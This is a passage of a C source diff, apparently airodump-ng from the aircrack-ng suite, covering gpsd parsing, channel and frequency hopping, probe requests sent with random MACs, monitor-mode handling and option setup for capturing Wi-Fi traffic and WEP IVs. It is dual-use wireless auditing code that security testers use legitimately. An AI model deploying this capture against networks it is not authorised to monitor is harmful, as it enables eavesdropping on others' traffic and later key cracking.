+				if (json_get_value_for_name(line, "lat", data))
+				{
+					lopt.gps_loc[0] = strtof(data, NULL);
+					if (errno == EINVAL || errno == ERANGE)
+					{
+						lopt.gps_loc[0] = 0;
+					}
+				}
+
+				// Longitude
+				if (json_get_value_for_name(line, "lon", data))
+				{
+					lopt.gps_loc[1] = strtof(data, NULL);
+					if (errno == EINVAL || errno == ERANGE)
+					{
+						lopt.gps_loc[1] = 0;
+					}
+				}
+
+				// Longitude Error
+				if (json_get_value_for_name(line, "epx", data))
+				{
+					lopt.gps_loc[6] = strtof(data, NULL);
+					if (errno == EINVAL || errno == ERANGE)
+					{
+						lopt.gps_loc[6] = 0;
+					}
+				}
+
+				// Latitude Error
+				if (json_get_value_for_name(line, "epy", data))
+				{
+					lopt.gps_loc[5] = strtof(data, NULL);
+					if (errno == EINVAL || errno == ERANGE)
+					{
+						lopt.gps_loc[5] = 0;
+					}
+				}
+
+				// Vertical Error
+				if (json_get_value_for_name(line, "epv", data))
+				{
+					lopt.gps_loc[7] = strtof(data, NULL);
+					if (errno == EINVAL || errno == ERANGE)
+					{
+						lopt.gps_loc[7] = 0;
+					}
+				}
+
+				// Altitude
+				if (json_get_value_for_name(line, "alt", data))
+				{
+					lopt.gps_loc[4] = strtof(data, NULL);
+					if (errno == EINVAL || errno == ERANGE)
+					{
+						lopt.gps_loc[4] = 0;
+					}
+				}
+
+				// Speed
+				if (json_get_value_for_name(line, "speed", data))
+				{
+					lopt.gps_loc[2] = strtof(data, NULL);
+					if (errno == EINVAL || errno == ERANGE)
+					{
+						lopt.gps_loc[2] = 0;
+					}
+				}
+
+				// Heading
+				if (json_get_value_for_name(line, "track", data))
+				{
+					lopt.gps_loc[3] = strtof(data, NULL);
+					if (errno == EINVAL || errno == ERANGE)
+					{
+						lopt.gps_loc[3] = 0;
+					}
+				}
+			}
+			else
+			{
+				// Else read a NON JSON format
+
+				memset(line, 0, sizeof(line));
+
+				snprintf(line, sizeof(line) - 1, "PVTAD\r\n");
+				if (send(gpsd_sock, line, 7, 0) != 7)
+				{
+					free(return_success);
+					return (return_error);
+				}
+
+				memset(line, 0, sizeof(line));
+				if (recv(gpsd_sock, line, sizeof(line) - 1, 0) <= 0)
+				{
+					free(return_success);
+					return (return_error);
+				}
+
+				if (memcmp(line, "GPSD,P=", 7) != 0) continue;
+
+				/* make sure the coordinates are present */
+
+				if (line[7] == '?') continue;
+
+				int ret;
+				updateTime = time(NULL);
+				ret = sscanf(line + 7,
+							 "%f %f",
+							 &lopt.gps_loc[0],
+							 &lopt.gps_loc[1]); /* lat lon */
+				if (ret == EOF) fprintf(stderr, "Failed to parse lat lon.\n");
+
+				if ((temp = strstr(line, "V=")) == NULL) continue;
+				ret = sscanf(temp + 2, "%f", &lopt.gps_loc[2]); /* speed */
+				if (ret == EOF) fprintf(stderr, "Failed to parse speed.\n");
+
+				if ((temp = strstr(line, "T=")) == NULL) continue;
+				ret = sscanf(temp + 2, "%f", &lopt.gps_loc[3]); /* heading */
+				if (ret == EOF) fprintf(stderr, "Failed to parse heading.\n");
+
+				if ((temp = strstr(line, "A=")) == NULL) continue;
+				ret = sscanf(temp + 2, "%f", &lopt.gps_loc[4]); /* altitude */
+				if (ret == EOF) fprintf(stderr, "Failed to parse altitude.\n");
+			}
+
+			lopt.save_gps = 1;
+		}
+
+		// If we are still wanting to read GPS but encountered an error - reset data and try again
+		if (lopt.do_exit == 0)
+		{
+			memset(lopt.gps_loc, 0, sizeof(lopt.gps_loc));
+			sleep(1);
+		}
+	}
+
+	free(return_error);
+	return (return_success);
+}
+
+static void sighandler(int signum)
+{
+	int card = 0;
+
+	if (signum == SIGUSR1)
+	{
+		ssize_t unused = read(lopt.cd_pipe[0], &card, sizeof(int));
+		if (unused < 0)
+		{
+			// error occurred
+			perror("read");
+			return;
+		}
+		else if (unused == 0)
+		{
+			// EOF
+			perror("EOF encountered read(opt.cd_pipe[0])");
+			return;
+		}
+
+		if (card < 0 || (size_t) card >= ArrayCount(lopt.frequency))
+		{
+			// invalid received data
+			fprintf(stderr,
+					"Invalid data received for read(opt.cd_pipe[0]), got %d\n",
+					card);
+			return;
+		}
+
+		if (lopt.freqoption)
+			IGNORE_LTZ(
+				read(lopt.ch_pipe[0], &(lopt.frequency[card]), sizeof(int)));
+		else
+			IGNORE_LTZ(
+				read(lopt.ch_pipe[0], &(lopt.channel[card]), sizeof(int)));
+	}
+
+	if (signum == SIGUSR2)
+		IGNORE_LTZ(read(lopt.gc_pipe[0], &lopt.gps_loc, sizeof(lopt.gps_loc)));
+
+	if (signum == SIGINT || signum == SIGTERM)
+	{
+		lopt.do_exit = 1;
+		show_cursor();
+		reset_term();
+		fprintf(stdout, "Quitting...\n");
+	}
+
+	if (signum == SIGSEGV)
+	{
+		fprintf(stderr,
+				"Caught signal 11 (SIGSEGV). Please"
+				" contact the author!\n\n");
+		show_cursor();
+		fflush(stdout);
+		exit(1);
+	}
+
+	if (signum == SIGALRM)
+	{
+#if defined(__sun__)
+		fprintf(stdout,
+#else
+		dprintf(STDERR_FILENO,
+#endif
+				"Caught signal 14 (SIGALRM). Please"
+				" contact the author!\n\n");
+		show_cursor();
+		_exit(1);
+	}
+
+	if (signum == SIGCHLD) wait(NULL);
+
+	if (signum == SIGWINCH)
+	{
+		erase_display(0);
+		fflush(stdout);
+	}
+}
+
+static int send_probe_request(struct wif * wi)
+{
+	REQUIRE(wi != NULL);
+
+	int len;
+	uint8_t p[4096], r_smac[6];
+
+	memcpy(p, PROBE_REQ, 24);
+
+	len = 24;
+
+	p[24] = 0x00; // ESSID Tag Number
+	p[25] = 0x00; // ESSID Tag Length
+
+	len += 2;
+
+	memcpy(p + len, RATES, 16);
+
+	len += 16;
+
+	r_smac[0] = 0x00;
+	r_smac[1] = rand_u8();
+	r_smac[2] = rand_u8();
+	r_smac[3] = rand_u8();
+	r_smac[4] = rand_u8();
+	r_smac[5] = rand_u8();
+
+	memcpy(p + 10, r_smac, 6);
+
+	if (wi_write(wi, NULL, LINKTYPE_IEEE802_11, p, len, NULL) == -1)
+	{
+		switch (errno)
+		{
+			case EAGAIN:
+			case ENOBUFS:
+				usleep(10000);
+				return (0); /* XXX not sure I like this... -sorbo */
+			default:
+				break;
+		}
+
+		perror("wi_write()");
+		return (-1);
+	}
+
+	return (0);
+}
+
+static int send_probe_requests(struct wif * wi[], int cards)
+{
+	REQUIRE(wi != NULL);
+	REQUIRE(cards > 0);
+
+	int i = 0;
+	for (i = 0; i < cards; i++)
+	{
+		send_probe_request(wi[i]);
+	}
+
+	return (0);
+}
+
+static int getchancount(int valid)
+{
+	int i = 0, chan_count = 0;
+
+	while (lopt.channels[i])
+	{
+		i++;
+		if (lopt.channels[i] != -1) chan_count++;
+	}
+
+	if (valid) return (chan_count);
+	return (i);
+}
+
+static int getfreqcount(int valid)
+{
+	int i = 0, freq_count = 0;
+
+	while (lopt.own_frequencies[i])
+	{
+		i++;
+		if (lopt.own_frequencies[i] != -1) freq_count++;
+	}
+
+	if (valid) return (freq_count);
+	return (i);
+}
+
+static void
+channel_hopper(struct wif * wi[], int if_num, int chan_count, pid_t parent)
+{
+	int ch, ch_idx = 0, card = 0, chi = 0, cai = 0, j = 0, k = 0, first = 1,
+			again;
+	int dropped = 0;
+
+	while (0 == kill(parent, 0))
+	{
+		for (j = 0; j < if_num; j++)
+		{
+			again = 1;
+
+			ch_idx = chi % chan_count;
+
+			card = cai % if_num;
+
+			++chi;
+			++cai;
+
+			if (lopt.chswitch == 2 && !first)
+			{
+				j = if_num - 1;
+				card = if_num - 1;
+
+				if (getchancount(1) > if_num)
+				{
+					while (again)
+					{
+						again = 0;
+						for (k = 0; k < (if_num - 1); k++)
+						{
+							if (lopt.channels[ch_idx] == lopt.channel[k])
+							{
+								again = 1;
+								ch_idx = chi % chan_count;
+								chi++;
+							}
+						}
+					}
+				}
+			}
+
+			if (lopt.channels[ch_idx] == -1)
+			{
+				j--;
+				cai--;
+				dropped++;
+				if (dropped >= chan_count)
+				{
+					ch = wi_get_channel(wi[card]);
+					lopt.channel[card] = ch;
+					IGNORE_LTZ(write(lopt.cd_pipe[1], &card, sizeof(int)));
+					IGNORE_LTZ(write(lopt.ch_pipe[1], &ch, sizeof(int)));
+					kill(parent, SIGUSR1);
+					usleep(1000);
+				}
+				continue;
+			}
+
+			dropped = 0;
+
+			ch = lopt.channels[ch_idx];
+
+#ifdef CONFIG_LIBNL
+			if (wi_set_ht_channel(wi[card], ch, lopt.htval) == 0)
+#else
+			if (wi_set_channel(wi[card], ch) == 0)
+#endif
+			{
+				lopt.channel[card] = ch;
+				IGNORE_LTZ(write(lopt.cd_pipe[1], &card, sizeof(int)));
+				IGNORE_LTZ(write(lopt.ch_pipe[1], &ch, sizeof(int)));
+				if (lopt.active_scan_sim > 0) send_probe_request(wi[card]);
+				kill(parent, SIGUSR1);
+				usleep(1000);
+			}
+			else
+			{
+				lopt.channels[ch_idx] = -1; /* remove invalid channel */
+				j--;
+				cai--;
+				continue;
+			}
+		}
+
+		if (lopt.chswitch == 0)
+		{
+			chi = chi - (if_num - 1);
+		}
+
+		if (first)
+		{
+			first = 0;
+		}
+
+		usleep((useconds_t)(lopt.hopfreq * 1000));
+	}
+
+	exit(0);
+}
+
+static void
+frequency_hopper(struct wif * wi[], int if_num, int chan_count, pid_t parent)
+{
+	int ch, ch_idx = 0, card = 0, chi = 0, cai = 0, j = 0, k = 0, first = 1,
+			again;
+	int dropped = 0;
+
+	while (0 == kill(parent, 0))
+	{
+		for (j = 0; j < if_num; j++)
+		{
+			again = 1;
+
+			ch_idx = chi % chan_count;
+
+			card = cai % if_num;
+
+			++chi;
+			++cai;
+
+			if (lopt.chswitch == 2 && !first)
+			{
+				j = if_num - 1;
+				card = if_num - 1;
+
+				if (getfreqcount(1) > if_num)
+				{
+					while (again)
+					{
+						again = 0;
+						for (k = 0; k < (if_num - 1); k++)
+						{
+							if (lopt.own_frequencies[ch_idx]
+								== lopt.frequency[k])
+							{
+								again = 1;
+								ch_idx = chi % chan_count;
+								chi++;
+							}
+						}
+					}
+				}
+			}
+
+			if (lopt.own_frequencies[ch_idx] == -1)
+			{
+				j--;
+				cai--;
+				dropped++;
+				if (dropped >= chan_count)
+				{
+					ch = wi_get_freq(wi[card]);
+					lopt.frequency[card] = ch;
+					IGNORE_LTZ(write(lopt.cd_pipe[1], &card, sizeof(int)));
+					IGNORE_LTZ(write(lopt.ch_pipe[1], &ch, sizeof(int)));
+					kill(parent, SIGUSR1);
+					usleep(1000);
+				}
+				continue;
+			}
+
+			dropped = 0;
+
+			ch = lopt.own_frequencies[ch_idx];
+
+			if (wi_set_freq(wi[card], ch) == 0)
+			{
+				lopt.frequency[card] = ch;
+				IGNORE_LTZ(write(lopt.cd_pipe[1], &card, sizeof(int)));
+				IGNORE_LTZ(write(lopt.ch_pipe[1], &ch, sizeof(int)));
+				kill(parent, SIGUSR1);
+				usleep(1000);
+			}
+			else
+			{
+				lopt.own_frequencies[ch_idx] = -1; /* remove invalid channel */
+				j--;
+				cai--;
+				continue;
+			}
+		}
+
+		if (lopt.chswitch == 0)
+		{
+			chi = chi - (if_num - 1);
+		}
+
+		if (first)
+		{
+			first = 0;
+		}
+
+		usleep((useconds_t)(lopt.hopfreq * 1000));
+	}
+
+	exit(0);
+}
+
+static inline int invalid_channel(int chan)
+{
+	int i = 0;
+
+	do
+	{
+		if (chan == abg_chans[i] && chan != 0) return (0);
+	} while (abg_chans[++i]);
+	return (1);
+}
+
+static inline int invalid_frequency(int freq)
+{
+	int i = 0;
+
+	do
+	{
+		if (freq == frequencies[i] && freq != 0) return (0);
+	} while (frequencies[++i]);
+	return (1);
+}
+
+/* parse a string, for example "1,2,3-7,11" */
+
+static int getchannels(const char * optarg)
+{
+	unsigned int i = 0, chan_cur = 0, chan_first = 0, chan_last = 0,
+				 chan_max = 128, chan_remain = 0;
+	char *optchan = NULL, *optc;
+	char * token = NULL;
+	int * tmp_channels;
+
+	// got a NULL pointer?
+	if (optarg == NULL) return (-1);
+
+	chan_remain = chan_max;
+
+	// create a writable string
+	optc = optchan = (char *) malloc(strlen(optarg) + 1);
+	ALLEGE(optc != NULL);
+	ALLEGE(optchan != NULL);
+	strncpy(optchan, optarg, strlen(optarg));
+	optchan[strlen(optarg)] = '\0';
+
+	tmp_channels = (int *) malloc(sizeof(int) * (chan_max + 1));
+	ALLEGE(tmp_channels != NULL);
+
+	// split string in tokens, separated by ','
+	while ((token = strsep(&optchan, ",")) != NULL)
+	{
+		// range defined?
+		if (strchr(token, '-') != NULL)
+		{
+			// only 1 '-' ?
+			if (strchr(token, '-') == strrchr(token, '-'))
+			{
+				// are there any illegal characters?
+				for (i = 0; i < strlen(token); i++)
+				{
+					if (((token[i] < '0') || (token[i] > '9'))
+						&& (token[i] != '-'))
+					{
+						free(tmp_channels);
+						free(optc);
+						return (-1);
+					}
+				}
+
+				if (sscanf(token, "%u-%u", &chan_first, &chan_last) != EOF)
+				{
+					if (chan_first > chan_last)
+					{
+						free(tmp_channels);
+						free(optc);
+						return (-1);
+					}
+					for (i = chan_first; i <= chan_last; i++)
+					{
+						if ((!invalid_channel(i)) && (chan_remain > 0))
+						{
+							tmp_channels[chan_max - chan_remain] = i;
+							chan_remain--;
+						}
+					}
+				}
+				else
+				{
+					free(tmp_channels);
+					free(optc);
+					return (-1);
+				}
+			}
+			else
+			{
+				free(tmp_channels);
+				free(optc);
+				return (-1);
+			}
+		}
+		else
+		{
+			// are there any illegal characters?
+			for (i = 0; i < strlen(token); i++)
+			{
+				if ((token[i] < '0') || (token[i] > '9'))
+				{
+					free(tmp_channels);
+					free(optc);
+					return (-1);
+				}
+			}
+
+			if (sscanf(token, "%u", &chan_cur) != EOF)
+			{
+				if ((!invalid_channel(chan_cur)) && (chan_remain > 0))
+				{
+					tmp_channels[chan_max - chan_remain] = chan_cur;
+					chan_remain--;
+				}
+			}
+			else
+			{
+				free(tmp_channels);
+				free(optc);
+				return (-1);
+			}
+		}
+	}
+
+	lopt.own_channels
+		= (int *) malloc(sizeof(int) * (chan_max - chan_remain + 1));
+	ALLEGE(lopt.own_channels != NULL);
+
+	if (chan_max > 0 && chan_max >= chan_remain) //-V560
+	{
+		for (i = 0; i < (chan_max - chan_remain); i++) //-V658
+		{
+			lopt.own_channels[i] = tmp_channels[i];
+		}
+	}
+
+	lopt.own_channels[i] = 0;
+
+	free(tmp_channels);
+	free(optc);
+	if (i == 1) return (lopt.own_channels[0]);
+	if (i == 0) return (-1);
+	return (0);
+}
+
+/* parse a string, for example "1,2,3-7,11" */
+
+static int getfrequencies(const char * optarg)
+{
+	unsigned int i = 0, freq_cur = 0, freq_first = 0, freq_last = 0,
+				 freq_max = 10000, freq_remain = 0;
+	char *optfreq = NULL, *optc;
+	char * token = NULL;
+	int * tmp_frequencies;
+
+	// got a NULL pointer?
+	if (optarg == NULL) return -1;
+
+	freq_remain = freq_max;
+
+	// create a writable string
+	optc = optfreq = (char *) malloc(strlen(optarg) + 1);
+	ALLEGE(optc != NULL);
+	ALLEGE(optfreq != NULL);
+	strncpy(optfreq, optarg, strlen(optarg));
+	optfreq[strlen(optarg)] = '\0';
+
+	tmp_frequencies = (int *) malloc(sizeof(int) * (freq_max + 1));
+	ALLEGE(tmp_frequencies != NULL);
+
+	// split string in tokens, separated by ','
+	while ((token = strsep(&optfreq, ",")) != NULL)
+	{
+		// range defined?
+		if (strchr(token, '-') != NULL)
+		{
+			// only 1 '-' ?
+			if (strchr(token, '-') == strrchr(token, '-'))
+			{
+				// are there any illegal characters?
+				for (i = 0; i < strlen(token); i++)
+				{
+					if ((token[i] < '0' || token[i] > '9') && (token[i] != '-'))
+					{
+						free(tmp_frequencies);
+						free(optc);
+						return (-1);
+					}
+				}
+
+				if (sscanf(token, "%u-%u", &freq_first, &freq_last) != EOF)
+				{
+					if (freq_first > freq_last)
+					{
+						free(tmp_frequencies);
+						free(optc);
+						return (-1);
+					}
+					for (i = freq_first; i <= freq_last; i++)
+					{
+						if ((!invalid_frequency(i)) && (freq_remain > 0))
+						{
+							tmp_frequencies[freq_max - freq_remain] = i;
+							freq_remain--;
+						}
+					}
+				}
+				else
+				{
+					free(tmp_frequencies);
+					free(optc);
+					return (-1);
+				}
+			}
+			else
+			{
+				free(tmp_frequencies);
+				free(optc);
+				return (-1);
+			}
+		}
+		else
+		{
+			// are there any illegal characters?
+			for (i = 0; i < strlen(token); i++)
+			{
+				if ((token[i] < '0') || (token[i] > '9'))
+				{
+					free(tmp_frequencies);
+					free(optc);
+					return (-1);
+				}
+			}
+
+			if (sscanf(token, "%u", &freq_cur) != EOF)
+			{
+				if ((!invalid_frequency(freq_cur)) && (freq_remain > 0))
+				{
+					tmp_frequencies[freq_max - freq_remain] = freq_cur;
+					freq_remain--;
+				}
+
+				/* special case "-C 0" means: scan all available frequencies */
+				if (freq_cur == 0)
+				{
+					freq_first = 1;
+					freq_last = 9999;
+					for (i = freq_first; i <= freq_last; i++)
+					{
+						if ((!invalid_frequency(i)) && (freq_remain > 0))
+						{
+							tmp_frequencies[freq_max - freq_remain] = i;
+							freq_remain--;
+						}
+					}
+				}
+			}
+			else
+			{
+				free(tmp_frequencies);
+				free(optc);
+				return (-1);
+			}
+		}
+	}
+
+	lopt.own_frequencies
+		= (int *) malloc(sizeof(int) * (freq_max - freq_remain + 1));
+	ALLEGE(lopt.own_frequencies != NULL);
+
+	if (freq_max > 0 && freq_max >= freq_remain) //-V560
+	{
+		for (i = 0; i < (freq_max - freq_remain); i++) //-V658
+		{
+			lopt.own_frequencies[i] = tmp_frequencies[i];
+		}
+	}
+
+	lopt.own_frequencies[i] = 0;
+
+	free(tmp_frequencies);
+	free(optc);
+	if (i == 1) return (lopt.own_frequencies[0]); // exactly 1 frequency given
+	if (i == 0) return (-1); // error occurred
+	return (0); // frequency hopping
+}
+
+static int setup_card(char * iface, struct wif ** wis)
+{
+	REQUIRE(iface != NULL);
+	REQUIRE(wis != NULL);
+
+	struct wif * wi;
+
+	wi = wi_open(iface);
+	if (!wi) return (-1);
+	*wis = wi;
+
+	return (0);
+}
+
+static int init_cards(const char * cardstr, char * iface[], struct wif ** wi)
+{
+	char * buffer;
+	char * buf;
+	int if_count = 0;
+	int i = 0, again = 0;
+
+	// Check card string is valid
+	if (cardstr == NULL || cardstr[0] == 0)
+	{
+		return (-1);
+	}
+
+	buf = buffer = strdup(cardstr);
+	if (buf == NULL)
+	{
+		return (-1);
+	}
+
+	while (((iface[if_count] = strsep(&buffer, ",")) != NULL)
+		   && (if_count < MAX_CARDS))
+	{
+		again = 0;
+		for (i = 0; i < if_count; i++)
+		{
+			if (strcmp(iface[i], iface[if_count]) == 0) again = 1;
+		}
+		if (again) continue;
+		if (setup_card(iface[if_count], &(wi[if_count])) != 0)
+		{
+			free(buf);
+			return (-1);
+		}
+		if_count++;
+	}
+
+	free(buf);
+	return (if_count);
+}
+
+static int set_encryption_filter(const char * input)
+{
+	if (input == NULL) return (1);
+
+	if (strlen(input) < 3) return (1);
+
+	if (strcasecmp(input, "opn") == 0) lopt.f_encrypt |= STD_OPN;
+
+	if (strcasecmp(input, "wep") == 0) lopt.f_encrypt |= STD_WEP;
+
+	if (strcasecmp(input, "wpa") == 0)
+	{
+		lopt.f_encrypt |= STD_WPA;
+		lopt.f_encrypt |= STD_WPA2;
+	}
+
+	if (strcasecmp(input, "wpa1") == 0) lopt.f_encrypt |= STD_WPA;
+
+	if (strcasecmp(input, "wpa2") == 0) lopt.f_encrypt |= STD_WPA2;
+
+	return (0);
+}
+
+static int check_monitor(struct wif * wi[], int * fd_raw, int * fdh, int cards)
+{
+	int i, monitor;
+	char ifname[64];
+
+	for (i = 0; i < cards; i++)
+	{
+		monitor = wi_get_monitor(wi[i]);
+		if (monitor != 0)
+		{
+			memset(lopt.message, '\x00', sizeof(lopt.message));
+			snprintf(lopt.message,
+					 sizeof(lopt.message),
+					 "][ %s reset to monitor mode",
+					 wi_get_ifname(wi[i]));
+			// reopen in monitor mode
+
+			strncpy(ifname, wi_get_ifname(wi[i]), sizeof(ifname) - 1);
+			ifname[sizeof(ifname) - 1] = 0;
+
+			wi_close(wi[i]);
+			wi[i] = wi_open(ifname);
+			if (!wi[i])
+			{
+				printf("Can't reopen %s\n", ifname);
+				exit(1);
+			}
+
+			fd_raw[i] = wi_fd(wi[i]);
+			if (fd_raw[i] > *fdh) *fdh = fd_raw[i];
+		}
+	}
+	return (0);
+}
+
+static int check_channel(struct wif * wi[], int cards)
+{
+	int i, chan;
+	for (i = 0; i < cards; i++)
+	{
+		chan = wi_get_channel(wi[i]);
+		if (opt.ignore_negative_one == 1 && chan == -1) return (0);
+		if (lopt.channel[i] != chan)
+		{
+			memset(lopt.message, '\x00', sizeof(lopt.message));
+			snprintf(lopt.message,
+					 sizeof(lopt.message),
+					 "][ fixed channel %s: %d ",
+					 wi_get_ifname(wi[i]),
+					 chan);
+#ifdef CONFIG_LIBNL
+			wi_set_ht_channel(wi[i], lopt.channel[i], lopt.htval);
+#else
+			wi_set_channel(wi[i], lopt.channel[i]);
+#endif
+		}
+	}
+	return (0);
+}
+
+static int check_frequency(struct wif * wi[], int cards)
+{
+	int i, freq;
+	for (i = 0; i < cards; i++)
+	{
+		freq = wi_get_freq(wi[i]);
+		if (freq < 0) continue;
+		if (lopt.frequency[i] != freq)
+		{
+			memset(lopt.message, '\x00', sizeof(lopt.message));
+			snprintf(lopt.message,
+					 sizeof(lopt.message),
+					 "][ fixed frequency %s: %d ",
+					 wi_get_ifname(wi[i]),
+					 freq);
+			wi_set_freq(wi[i], lopt.frequency[i]);
+		}
+	}
+	return (0);
+}
+
+static int detect_frequencies(struct wif * wi)
+{
+	REQUIRE(wi != NULL);
+
+	int start_freq = 2192;
+	int end_freq = 2732;
+	int max_freq_num = 2048; // should be enough to keep all available channels
+	int freq = 0, i = 0;
+
+	printf("Checking available frequencies, this could take few seconds.\n");
+
+	frequencies = (int *) malloc(
+		(max_freq_num + 1) * sizeof(int)); // field for frequencies supported
+	ALLEGE(frequencies != NULL);
+	memset(frequencies, 0, (max_freq_num + 1) * sizeof(int));
+	for (freq = start_freq; freq <= end_freq; freq += 5)
+	{
+		if (wi_set_freq(wi, freq) == 0)
+		{
+			frequencies[i] = freq;
+			i++;
+		}
+		if (freq == 2482)
+		{
+			// special case for chan 14, as its 12MHz away from 13, not 5MHz
+			freq = 2484;
+			if (wi_set_freq(wi, freq) == 0)
+			{
+				frequencies[i] = freq;
+				i++;
+			}
+			freq = 2482;
+		}
+	}
+
+	// again for 5GHz channels
+	start_freq = 4800;
+	end_freq = 6000;
+	for (freq = start_freq; freq <= end_freq; freq += 5)
+	{
+		if (wi_set_freq(wi, freq) == 0)
+		{
+			frequencies[i] = freq;
+			i++;
+		}
+	}
+
+	printf("Done.\n");
+	return (0);
+}
+
+static int array_contains(const int * array, int length, int value)
+{
+	REQUIRE(array != NULL);
+	REQUIRE(length >= 0 && length < INT_MAX);
+
+	int i;
+	for (i = 0; i < length; i++)
+		if (array[i] == value) return (1);
+
+	return (0);
+}
+
+static int rearrange_frequencies(void)
+{
+	int * freqs;
+	int count, left, pos;
+	int width, last_used = 0;
+	int cur_freq, round_done;
+
+	width = DEFAULT_CWIDTH;
+
+	count = getfreqcount(0);
+	left = count;
+	pos = 0;
+
+	freqs = malloc(sizeof(int) * (count + 1));
+	ALLEGE(freqs != NULL);
+	memset(freqs, 0, sizeof(int) * (count + 1));
+	round_done = 0;
+
+	while (left > 0)
+	{
+		cur_freq = lopt.own_frequencies[pos % count];
+
+		if (cur_freq == last_used) round_done = 1;
+
+		if (((count - left) > 0) && !round_done
+			&& (ABS(last_used - cur_freq) < width))
+		{
+			pos++;
+			continue;
+		}
+
+		if (!array_contains(freqs, count, cur_freq))
+		{
+			freqs[count - left] = cur_freq;
+			last_used = cur_freq;
+			left--;
+			round_done = 0;
+		}
+
+		pos++;
+	}
+
+	memcpy(lopt.own_frequencies, freqs, count * sizeof(int));
+	free(freqs);
+
+	return (0);
+}
+
+int main(int argc, char * argv[])
+{
+	long time_slept, cycle_time, cycle_time2;
+	char * output_format_string;
+	int caplen = 0, i, j, fdh, chan_count, freq_count;
+	int fd_raw[MAX_CARDS], arptype[MAX_CARDS];
+	int ivs_only, found;
+	int freq[2];
+	int num_opts = 0;
+	int option = 0;
+	int option_index = 0;
+	char ifnam[64];
+	int wi_read_failed = 0;
+	int n = 0;
+	int output_format_first_time = 1;
+#ifdef HAVE_PCRE
+	const char * pcreerror;
+	int pcreerroffset;
+#endif
+
+	struct AP_info *ap_cur, *ap_next;
+	struct ST_info *st_cur, *st_next;
+	struct NA_info *na_cur, *na_next;
+	struct oui *oui_cur, *oui_next;
+
+	struct pcap_pkthdr pkh;
+
+	time_t tt1, tt2, start_time;
+
+	struct wif * wi[MAX_CARDS];
+	struct rx_info ri;
+	unsigned char tmpbuf[4096];
+	unsigned char buffer[4096];
+	unsigned char * h80211;
+	char * iface[MAX_CARDS];
+
+	struct timeval tv0;
+	struct timeval tv1;
+	struct timeval tv2;
+	struct timeval tv3;
+	struct timeval tv4;
+	struct tm * lt;
+
+	/*
+	struct sockaddr_in provis_addr;
+	*/
+
+	fd_set rfds;
+
+	static const struct option long_options[]
+		= {{"ht20", 0, 0, '2'},
+		   {"ht40-", 0, 0, '3'},
+		   {"ht40+", 0, 0, '5'},
+		   {"band", 1, 0, 'b'},
+		   {"beacon", 0, 0, 'e'},
+		   {"beacons", 0, 0, 'e'},
+		   {"cswitch", 1, 0, 's'},
+		   {"netmask", 1, 0, 'm'},
+		   {"bssid", 1, 0, 'd'},
+		   {"essid", 1, 0, 'N'},
+		   {"essid-regex", 1, 0, 'R'},
+		   {"channel", 1, 0, 'c'},
+		   {"gpsd", 0, 0, 'g'},
+		   {"ivs", 0, 0, 'i'},
+		   {"write", 1, 0, 'w'},
+		   {"encrypt", 1, 0, 't'},
+		   {"update", 1, 0, 'u'},
+		   {"berlin", 1, 0, 'B'},
+		   {"help", 0, 0, 'H'},
+		   {"nodecloak", 0, 0, 'D'},
+		   {"showack", 0, 0, 'A'},
+		   {"detect-anomaly", 0, 0, 'E'},
+		   {"output-format", 1, 0, 'o'},
+		   {"ignore-negative-one", 0, &opt.ignore_negative_one, 1},
+		   {"manufacturer", 0, 0, 'M'},
+		   {"uptime", 0, 0, 'U'},
+		   {"write-interval", 1, 0, 'I'},
+		   {"wps", 0, 0, 'W'},
+		   {"background", 1, 0, 'K'},
+		   {"min-packets", 1, 0, 'n'},
+		   {"real-time", 0, 0, 'T'},
+		   {0, 0, 0, 0}};
+
+	pid_t main_pid = getpid();
+
+	console_utf8_enable();
+	ac_crypto_init();
+
+	ALLEGE(pthread_mutex_init(&(lopt.mx_print), NULL) == 0);
+	ALLEGE(pthread_mutex_init(&(lopt.mx_sort), NULL) == 0);
+
+	textstyle(TEXT_RESET); //(TEXT_RESET, TEXT_BLACK, TEXT_WHITE);
+
+	/* initialize a bunch of variables */
+
+	rand_init();
+	memset(&opt, 0, sizeof(opt));
+	memset(&lopt, 0, sizeof(lopt));
+
+	h80211 = NULL;
+	ivs_only = 0;
+	lopt.chanoption = 0;
+	lopt.freqoption = 0;
+	lopt.num_cards = 0;
+	fdh = 0;
+	time_slept = 0;
+	lopt.batt = NULL;
+	lopt.chswitch = 0;
+	opt.usegpsd = 0;
+	lopt.channels = (int *) bg_chans;
+	lopt.one_beacon = 1;
+	lopt.singlechan = 0;
+	lopt.singlefreq = 0;
+	lopt.dump_prefix = NULL;
+	opt.record_data = 0;
+	opt.f_cap = NULL;
+	opt.f_ivs = NULL;
+	opt.f_txt = NULL;
+	opt.f_kis = NULL;
+	opt.f_kis_xml = NULL;
+	opt.f_gps = NULL;
+	opt.f_logcsv = NULL;
+	lopt.keyout = NULL;
+	opt.f_xor = NULL;
+	opt.sk_len = 0;
+	opt.sk_len2 = 0;
+	opt.sk_start = 0;
+	opt.prefix = NULL;
+	lopt.f_encrypt = 0;
+	lopt.asso_client = 0;
+	lopt.f_essid = NULL;
+	lopt.f_essid_count = 0;
+	lopt.active_scan_sim = 0;
+	lopt.update_s = 0;
+	lopt.decloak = 1;
+	lopt.is_berlin = 0;
+	lopt.numaps = 0;
+	lopt.maxnumaps = 0;
+	lopt.berlin = 120;
+	lopt.show_ap = 1;
+	lopt.show_sta = 1;
+	lopt.show_ack = 0;
+	lopt.hide_known = 0;
+	lopt.maxsize_essid_seen = 5; // Initial value: length of "ESSID"
+	lopt.show_manufacturer = 0;
+	lopt.show_uptime = 0;
+	lopt.hopfreq = DEFAULT_HOPFREQ;
+	opt.s_file = NULL;
+	lopt.s_iface = NULL;
+	lopt.f_cap_in = NULL;
+	lopt.detect_anomaly = 0;
+	lopt.airodump_start_time = NULL;
+	lopt.manufList = NULL;
+
+	opt.output_format_pcap = 1;
+	opt.output_format_csv = 1;
+	opt.output_format_kismet_csv = 1;
+	opt.output_format_kismet_netxml = 1;
+	opt.output_format_log_csv = 1;
+	lopt.gps_valid_interval
+		= 5; // If we dont get a new GPS update in 5 seconds - invalidate it
+	lopt.file_write_interval = 5; // Write file every 5 seconds by default
+	lopt.maxsize_wps_seen = 6;
+	lopt.show_wps = 0;
+	lopt.background_mode = -1;
+	lopt.do_exit = 0;
+	lopt.min_pkts = 2;
+	lopt.relative_time = 0;
+#ifdef CONFIG_LIBNL
+	lopt.htval = CHANNEL_NO_HT;
+#endif
+#ifdef HAVE_PCRE
+	lopt.f_essid_regex = NULL;
+#endif
+
+	// Default selection.
+	resetSelection();
+
+	memset(opt.sharedkey, '\x00', sizeof(opt.sharedkey));
+	memset(lopt.message, '\x00', sizeof(lopt.message));
